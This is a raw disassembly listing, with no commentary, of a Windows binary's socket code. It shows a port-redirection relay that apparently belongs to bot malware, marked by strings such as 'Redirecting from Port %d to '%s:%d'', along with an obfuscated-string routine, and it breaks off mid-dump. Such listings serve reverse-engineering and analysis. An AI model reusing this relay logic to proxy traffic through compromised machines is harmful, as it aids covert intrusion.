sub_42BB00+2B0j push 0 lea eax, [esp+840h+var_600] push 4 push eax push esi call ebx ; socket loc_42BE30: ; CODE XREF: sub_42BB00:loc_42BDB8j push 0 lea ecx, [esp+840h+var_604] push 2 push ecx push esi call ebx ; socket cmp [esp+83Ch+var_707], 1 jnz loc_42BDBA mov ebx, [esp+83Ch+var_820] mov dx, [esp+83Ch+var_604] mov eax, [esp+83Ch+var_600] lea ecx, [esp+83Ch+var_81C] push 10h push ecx push ebx mov word ptr [esp+848h+var_81C], 2 mov [esp+848h+var_81A], dx mov [esp+848h+var_818], eax nop call near ptr 71AB406Ah test eax, eax jnz loc_42BDBA push eax push 4 push offset dword_4472EC push esi call edi ; send push 0 lea edx, [esp+840h+var_600] push 4 push edx push esi call edi ; send push 0 lea eax, [esp+840h+var_604] push 2 push eax push esi call edi ; send mov ecx, [ebp-8] push ebx push esi mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_4020E0 push ebx nop call near ptr 71AB9639h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BED6: ; CODE XREF: sub_42BB00+47j cmp ax, 2 jnz loc_42BF63 mov ebx, dword_511C94 loc_42BEE6: ; CODE XREF: sub_42BB00+461j lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call ebx ; select lea edx, [esp+83Ch+var_824] lea eax, [esp+83Ch+var_81C] push edx push eax push 0 lea ecx, [esp+848h+var_600] push 3FFh push ecx push esi mov [esp+854h+var_824], 10h nop call near ptr 71AB2D0Fh mov ecx, [ebp-8] mov edi, eax lea edx, [esp+83Ch+var_600] push edi push edx mov edx, [ecx+4] lea eax, [esp+844h+var_81C] push eax lea ecx, [edx+ebp-8] call sub_401C30 test edi, edi jz short loc_42BF63 cmp edi, 0FFFFFFFFh jz short loc_42BF63 lea eax, [esp+83Ch+var_80C] push eax push esi call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42BEE6 loc_42BF63: ; CODE XREF: sub_42BB00+67j ; sub_42BB00+3DAj ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 sub_42BB00 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C0A0 proc near ; CODE XREF: sub_401F37j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch sub esp, 10h push esi mov esi, ecx mov eax, [esi+32h] test eax, eax jz short loc_42C0B4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C0B4: ; CODE XREF: sub_42C0A0+Bj xor eax, eax mov ax, [esi+6] dec eax jz short loc_42C0C6 dec eax jz short loc_42C0E8 mov word ptr [esi+6], 1 loc_42C0C6: ; CODE XREF: sub_42C0A0+1Bj mov eax, 1 mov ecx, 6 loc_42C0D0: ; CODE XREF: sub_42C0A0+52j push ecx push eax push 2 nop call near ptr 71AB3B91h test eax, eax mov [esi+32h], eax jnz short loc_42C0F4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C0E8: ; CODE XREF: sub_42C0A0+1Ej mov eax, 2 mov ecx, 11h jmp short loc_42C0D0 ; --------------------------------------------------------------------------- loc_42C0F4: ; CODE XREF: sub_42C0A0+3Fj mov ax, [esi+4] mov [esp+14h+var_10], 2 push eax mov [esp+18h+var_C], 0 nop call near ptr 71AB2B66h mov edx, [esi+32h] lea ecx, [esp+14h+var_10] push 10h push ecx push edx mov [esp+20h+var_E], ax nop call near ptr 71AB3E00h test eax, eax jz short loc_42C139 mov eax, [esi+32h] push eax nop call near ptr 71AB9639h xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C139: ; CODE XREF: sub_42C0A0+86j cmp word ptr [esi+6], 1 jnz short loc_42C161 mov ecx, [esi+32h] push 3 push ecx call near ptr 71AB88D3h nop test eax, eax jz short loc_42C161 mov edx, [esi+32h] push edx call near ptr 71AB9639h nop xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C161: ; CODE XREF: sub_42C0A0+9Ej ; sub_42C0A0+AEj mov al, 1 pop esi add esp, 10h retn sub_42C0A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C1B0 proc near ; CODE XREF: sub_401DD4j var_24 = byte ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_42C1B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov edi, ecx mov [ebp+var_10], esp mov ax, [edi+6] cmp ax, 1 jnz short loc_42C24A mov eax, [edi+32h] mov [ebp+var_14], 10h test eax, eax jz short loc_42C231 mov ebx, dword_511C98 lea ecx, [ebp+var_14] lea edx, [ebp+var_24] push ecx push edx push eax call ebx ; accept mov esi, eax test esi, esi jnz short loc_42C216 loc_42C202: ; CODE XREF: sub_42C1B0+64j mov edx, [edi+32h] lea eax, [ebp+var_14] lea ecx, [ebp+var_24] push eax push ecx push edx call ebx ; accept mov esi, eax test esi, esi jz short loc_42C202 loc_42C216: ; CODE XREF: sub_42C1B0+50j mov eax, [edi] push esi mov ecx, edi mov [ebp+var_4], 0 call dword ptr [eax] push esi mov bl, al nop call near ptr 71AB9639h test bl, bl jnz short loc_42C26A loc_42C231: ; CODE XREF: sub_42C1B0+39j ; sub_42C1B0+9Ej ... xor al, al mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_42C244: ; DATA XREF: ___:00442FACo mov eax, offset loc_42C231 retn ; --------------------------------------------------------------------------- loc_42C24A: ; CODE XREF: sub_42C1B0+2Bj cmp ax, 2 jnz short loc_42C231 mov eax, [edi+32h] mov edx, [edi] push eax mov ecx, edi call dword ptr [edx] mov ecx, [edi+32h] mov bl, al push ecx nop call near ptr 71AB9639h test bl, bl jz short loc_42C231 loc_42C26A: ; CODE XREF: sub_42C1B0+7Fj mov ecx, [ebp+var_C] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_42C1B0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C2C0: ; CODE XREF: ___:00401F96j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43CEB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, [ebp+8] push edi mov [ebp-10h], esp mov dword ptr [ebp-4], 0 mov eax, [esi] mov ecx, [eax+4] mov eax, [ecx+esi+32h] add ecx, esi push eax mov edx, [ecx] call dword ptr [edx] mov ecx, [esi] mov edx, [ecx+4] mov eax, [edx+esi+32h] push eax nop call near ptr 71AB9639h loc_42C309: ; DATA XREF: ___:loc_42C321o mov ecx, [ebp-0Ch] pop edi pop esi mov eax, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_42C321: ; DATA XREF: ___:0044300Co mov eax, offset loc_42C309 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C350 proc near ; CODE XREF: sub_401C2Bj var_19C = byte ptr -19Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h push 0FFFFFFFFh push offset SEH_42C350 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 194h lea eax, [esp+1A0h+var_19C] mov [esp+1A0h+var_4], 1 push eax push 2 call near ptr 71AB664Dh nop test eax, eax jz short loc_42C3C7 loc_42C387: ; CODE XREF: ___:0042C456j lea ecx, [esp+1A0h+arg_4] mov byte ptr [esp+1A0h+var_4], 0 call sub_401226 lea ecx, [esp+1A0h+arg_1C] mov [esp+1A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1A0h+var_C] mov large fs:0, ecx add esp, 1A0h retn ; --------------------------------------------------------------------------- loc_42C3C7: ; CODE XREF: sub_42C350+35j push 42h call sub_437AEA sub_42C350 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+0], eax test eax, eax mov byte ptr [esp+19Ch], 2 jz short loc_42C3EC push 1 mov ecx, eax call sub_4014F1 jmp short loc_42C3EE ; --------------------------------------------------------------------------- loc_42C3EC: ; CODE XREF: ___:0042C3DFj xor eax, eax loc_42C3EE: ; CODE XREF: ___:0042C3EAj mov dword_5103A4, eax mov ecx, [eax] mov byte ptr [esp+19Ch], 1 mov edx, [ecx+4] mov cx, [esp+1A4h] mov [edx+eax+4], cx mov eax, dword_5103A4 lea edx, [esp+1A8h] mov ecx, [eax] push edx mov edx, [ecx+4] lea ecx, [edx+eax+8] call sub_40202C lea eax, [esp+1C0h] push eax mov eax, dword_5103A4 mov ecx, [eax] mov edx, [ecx+4] lea ecx, [edx+eax+1Dh] call sub_40202C mov eax, dword_5103A4 mov ecx, [eax] mov ecx, [ecx+4] add ecx, eax call sub_401F37 test al, al jz loc_42C387 loc_42C45C: ; CODE XREF: ___:0042C46Dj mov eax, dword_5103A4 mov edx, [eax] mov ecx, [edx+4] add ecx, eax call sub_401DD4 jmp short loc_42C45C ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C4C0 proc near ; CODE XREF: sub_4014F1j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi test eax, eax mov esi, ecx mov [esp+8+var_4], 0 jz short loc_42C4E2 lea ecx, [esi+8] mov dword ptr [esi], offset dword_43F190 call sub_4014B5 loc_42C4E2: ; CODE XREF: sub_42C4C0+12j mov eax, [esi] mov ecx, [eax+4] mov dword ptr [ecx+esi], offset off_43F18C mov edx, [esi] mov eax, [edx+4] lea ecx, [eax-8] mov [eax+esi-4], ecx mov eax, esi pop esi pop ecx retn 4 sub_42C4C0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C530 proc near ; CODE XREF: sub_4014B5j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42C530 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8] call sub_40142E lea ecx, [esi+1Dh] mov [esp+14h+var_4], 0 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F19C mov dword ptr [esi+32h], 0 mov word ptr [esi+6], 1 mov word ptr [esi+4], 0 mov dword ptr [esi+36h], 1000h mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42C530 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C5C0 proc near ; CODE XREF: sub_4020EFj ; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES sub ecx, [ecx-4] jmp loc_4013A2 sub_42C5C0 endp ; --------------------------------------------------------------------------- align 10h loc_42C5D0: ; CODE XREF: ___:00401352j push 0FFFFFFFFh push offset loc_43CF28 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi call sub_401FA0 push offset off_444D54 lea ecx, [esi+11h] mov dword ptr [esp+14h], 0 mov dword ptr [esi], offset off_43F1A0 call sub_4015E1 mov ecx, [esp+8] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C640 proc near ; CODE XREF: ___:00401398j sub_401F5Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4011BD test [esp+4+arg_0], 1 jz short loc_42C658 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42C658: ; CODE XREF: sub_42C640+Dj mov eax, esi pop esi retn 4 sub_42C640 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42C670 proc near ; CODE XREF: sub_4011BDj jmp sub_4017A8 sub_42C670 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C690: ; CODE XREF: ___:loc_40134Dj mov eax, 1000h call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42C71C mov ebx, dword_511CA4 mov ebp, dword_511CA0 loc_42C6BC: ; CODE XREF: ___:0042C71Aj mov edx, [esi+9Dh] mov ecx, 400h xor eax, eax lea edi, [esp+10h] rep stosd push eax mov eax, [edx+0A5h] lea ecx, [esp+14h] push 1000h push ecx push eax call ebx ; recv test eax, eax jz short loc_42C71C cmp eax, 0FFFFFFFFh jz short loc_42C71C mov edx, [esi+9Dh] push 0 push eax lea ecx, [esp+18h] mov eax, [edx+0A1h] push ecx push eax call ebp ; send test eax, eax jz short loc_42C71C cmp eax, 0FFFFFFFFh jz short loc_42C71C mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz short loc_42C6BC loc_42C71C: ; CODE XREF: ___:0042C6AEj ; ___:0042C6E5j ... mov edx, [esi+9Dh] pop edi pop esi pop ebp mov eax, [edx+0A1h] pop ebx cmp eax, 0FFFFFFFFh jz short loc_42C738 push eax call near ptr 71AB9639h nop loc_42C738: ; CODE XREF: ___:0042C72Fj add esp, 1000h retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C770 proc near ; CODE XREF: sub_40166Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42C770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset off_444D54 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F1B0 call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42C770 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C7E0 proc near ; CODE XREF: ___:004013A7j sub_401B36j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401217 test [esp+4+arg_0], 1 jz short loc_42C7F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42C7F8: ; CODE XREF: sub_42C7E0+Dj mov eax, esi pop esi retn 4 sub_42C7E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42C810 proc near ; CODE XREF: sub_401217j jmp sub_4017A8 sub_42C810 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C830 proc near ; CODE XREF: sub_401537j var_50 = byte ptr -50h var_40 = byte ptr -40h var_30 = byte ptr -30h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, 1014h call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi or edi, 0FFFFFFFFh mov eax, [esi+99h] mov [esi+0A5h], edi mov cl, [eax+11Ch] test cl, cl jz loc_42C9FA mov ebx, 1 push 6 push ebx push 2 call near ptr 71AB3B91h nop cmp eax, edi mov [esi+0A5h], eax jnz short loc_42C888 mov [esi+0A5h], edi pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C888: ; CODE XREF: sub_42C830+45j mov dx, [esi+3Fh] xor ecx, ecx mov [esp+1Ch+var_8], ecx push edx mov [esp+20h+var_4], ecx mov word ptr [esp+20h+var_8], 2 mov [esp+20h], ecx mov [esp+20h+arg_0], ecx nop call near ptr 71AB2B66h lea ecx, [esi+43h] mov [esp+20h+var_A], ax call sub_4017EE push eax call sub_40188E add esp, 4 cmp eax, edi mov [esp+20h+var_8], eax jnz short loc_42C8E2 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C8E2: ; CODE XREF: sub_42C830+98j mov edx, [esi+0A5h] lea ecx, [esp+20h+var_C] push 10h push ecx push edx call near ptr 71AB406Ah nop cmp eax, edi jnz short loc_42C912 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C912: ; CODE XREF: sub_42C830+C8j mov edx, [esi+0A1h] mov edi, dword_511CAC lea ecx, [esp+2Ch+var_1C] mov [esp+2Ch+var_1C], ebx push ecx push 8004667Eh push edx call edi ; ioctlsocket mov ecx, [esi+0A5h] lea eax, [esp+38h+var_28] push eax push 8004667Eh push ecx mov [esp+44h+var_28], ebx call edi ; ioctlsocket mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jz loc_42C9FA mov ebx, dword_511CA4 mov ebp, dword_511CA0 loc_42C966: ; CODE XREF: sub_42C830+1BAj mov ecx, [esi+0A5h] push 0 lea eax, [esp+48h+var_20] push 1000h push eax push ecx call ebx ; recv mov edi, eax test edi, edi jz short loc_42C9FA jge short loc_42C990 call near ptr 71AB94DCh nop cmp eax, 2733h jnz short loc_42C9F2 loc_42C990: ; CODE XREF: sub_42C830+151j mov eax, [esi+0A1h] push 0 lea edx, [esp+58h+var_30] push edi push edx push eax call ebp ; send mov edx, [esi+0A1h] push 0 lea ecx, [esp+68h+var_40] push 1000h push ecx push edx call ebx ; recv mov edi, eax test edi, edi jz short loc_42C9FA jge short loc_42C9CB nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42C9F2 loc_42C9CB: ; CODE XREF: sub_42C830+18Cj mov ecx, [esi+0A5h] push 0 lea eax, [esp+78h+var_50] push edi push eax push ecx call ebp ; send mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42C966 jmp short loc_42C9FA ; --------------------------------------------------------------------------- loc_42C9F2: ; CODE XREF: sub_42C830+15Ej ; sub_42C830+199j push 0Ah nop call near ptr 2821DE2h loc_42C9FA: ; CODE XREF: sub_42C830+27j ; sub_42C830+124j ... mov eax, [esi+0A1h] mov edi, dword_511C9C cmp eax, 0FFFFFFFFh jz short loc_42CA0E push eax call edi ; closesocket loc_42CA0E: ; CODE XREF: sub_42C830+1D9j mov esi, [esi+0A5h] cmp esi, 0FFFFFFFFh jz short loc_42CA1C push esi call edi ; closesocket loc_42CA1C: ; CODE XREF: sub_42C830+1E7j pop edi pop esi pop ebp pop ebx add esp, 1014h retn sub_42C830 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) db 6Ah ; j db 0FFh db 68h ; h db 68h ; h db 0CFh ; Ο db 43h ; C db 0 db 64h ; d db 0A1h ; ‘ db 0 db 0 db 0 db 0 db 50h ; P db 64h ; d db 89h ; db 25h ; % db 0 db 0 db 0 db 0 db 51h ; Q db 56h ; V db 8Bh ; db 0F1h ; ρ db 89h ; db 74h ; t db 24h ; $ db 4 db 0E8h ; θ db 0CEh ; Ξ db 54h ; T db 0FDh ; ύ db 0FFh db 68h ; h db 54h ; T db 4Dh ; M db 44h ; D db 0 db 8Dh ; db 4Eh ; N db 11h db 0C7h ; Η db 44h ; D db 24h ; $ db 14h db 0 db 0 db 0 db 0 db 0C7h ; Η db 6 db 0C0h ; ΐ db 0F1h ; ρ db 43h ; C db 0 db 0E8h ; θ db 0F4h ; τ db 4Ah ; J db 0FDh ; ύ db 0FFh db 8Bh ; db 4Ch ; L db 24h ; $ db 8 db 8Bh ; db 0C6h ; Ζ db 5Eh ; ^ db 64h ; d db 89h ; db 0Dh db 0 db 0 db 0 db 0 db 83h ; db 0C4h ; Δ db 10h db 0C3h ; Γ db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42CB20: ; CODE XREF: ___:loc_4015FAj ; ___:00401FC8j push esi mov esi, ecx call sub_401B9F test byte ptr [esp+8], 1 jz short loc_42CB38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42CB38: ; CODE XREF: ___:0042CB2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42CB50 proc near ; CODE XREF: sub_401B9Fj jmp sub_4017A8 sub_42CB50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CB70 proc near ; CODE XREF: sub_4019F1j var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42CB70 push eax mov large fs:0, esp sub esp, 28h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+3Fh] lea ebx, [esi+43h] push eax mov ecx, ebx lea edi, [esi+11h] lea ebp, [esi+26h] call sub_4017EE mov ecx, [esi+3Bh] push eax push ecx mov ecx, edi call sub_4017EE push eax push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"... mov ecx, ebp call sub_4014DD mov dl, [esi+98h] push eax mov al, [esi+97h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 24h push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42CDA8 mov dx, [esi+3Bh] xor ecx, ecx mov [esp+44h+var_2C], ecx push edx mov [esp+48h+var_28], ecx mov word ptr [esp+48h+var_2C], 2 mov [esp+48h+var_24], ecx mov [esp+48h+var_20], ecx call near ptr 71AB2B66h nop mov ecx, [esi+9Dh] mov word ptr [esp+44h+var_2C+2], ax lea eax, [esp+44h+var_2C] push 10h push eax push ecx mov [esp+50h+var_34], 10h nop call near ptr 71AB3E00h test eax, eax jz short loc_42CC5B mov edx, [esi+9Dh] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42CC5B: ; CODE XREF: sub_42CB70+C9j mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz loc_42CD54 loc_42CC6F: ; CODE XREF: sub_42CB70+1DEj mov ecx, [esi+9Dh] push 0Ah push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz loc_42CD35 mov ecx, [esi+9Dh] lea edx, [esp+44h+var_34] lea eax, [esp+44h+var_1C] push edx push eax push ecx nop call near ptr 71AC1028h mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42CD35 xor edi, edi cmp ebp, edi jz loc_42CD35 push 0A9h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42CCD5 mov ecx, eax call sub_40166D mov edi, eax loc_42CCD5: ; CODE XREF: sub_42CB70+15Aj mov edx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], edx mov eax, [esi+3Bh] mov [edi+3Bh], eax mov ecx, [esi+3Fh] mov [edi+3Fh], ecx push ebx lea ecx, [edi+43h] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401FDC lea eax, [esi+26h] lea ecx, [edi+26h] push eax mov [edi+0A1h], ebp call sub_401FDC mov dl, [esi+97h] mov ecx, edi mov [edi+97h], dl mov al, [esi+98h] mov [edi+98h], al call sub_4013DE loc_42CD35: ; CODE XREF: sub_42CB70+111j ; sub_42CB70+133j ... push 0FAh nop call near ptr 2821DE2h mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz loc_42CC6F loc_42CD54: ; CODE XREF: sub_42CB70+F9j mov eax, [esi+9Dh] cmp eax, 0FFFFFFFFh jz short loc_42CD66 push eax nop call near ptr 71AB9639h loc_42CD66: ; CODE XREF: sub_42CB70+1EDj mov edx, [esi+3Fh] mov ecx, ebx push edx call sub_4017EE push eax mov eax, [esi+3Bh] push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 24h loc_42CDA8: ; CODE XREF: sub_42CB70+7Cj mov ecx, [esp+44h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 34h retn sub_42CB70 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42CE60 proc near ; CODE XREF: sub_402202j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42CE60 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 3 push 14h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 mov esi, ecx push 5 lea eax, [esp+74h+var_3C] push 12h push eax mov dword ptr [esi+118h], 0 call sub_4019C4 add esp, 38h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_42CE60 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 12h push 7 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+38h] push 12h push edx call sub_4019C4 add esp, 38h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 14h push 14h push 8 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+3Ch] push 12h push ecx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+60h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea eax, [esp+40h] push 12h push eax call sub_4019C4 add esp, 40h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+8Eh] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 49h push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+44h] push 12h push edx call sub_4019C4 add esp, 44h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE push eax lea eax, [esi+0BCh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+54h] push 12h push ecx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017EE add esi, 0EAh push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0A0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D150: ; CODE XREF: ___:loc_40204Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43D0A4 push eax mov large fs:0, esp sub esp, 68h push ebx push ebp push esi mov esi, [esp+84h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4017EE push eax mov ecx, edi call sub_4012EE or ebx, 0FFFFFFFFh test eax, eax jnz loc_42D2B7 push 0A1h call sub_437AEA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h, 16A4C24h dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 0E850FFFDh dd 777EED1Ch, 4C48390h, 48244C8Dh, 893B4789h, 80249Ch dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h dd 4C8DFFFDh, 9C894824h, 8024h, 3FDCE800h, 68FFFDh, 8D004446h dd 6A4C2454h, 0CE8B5203h, 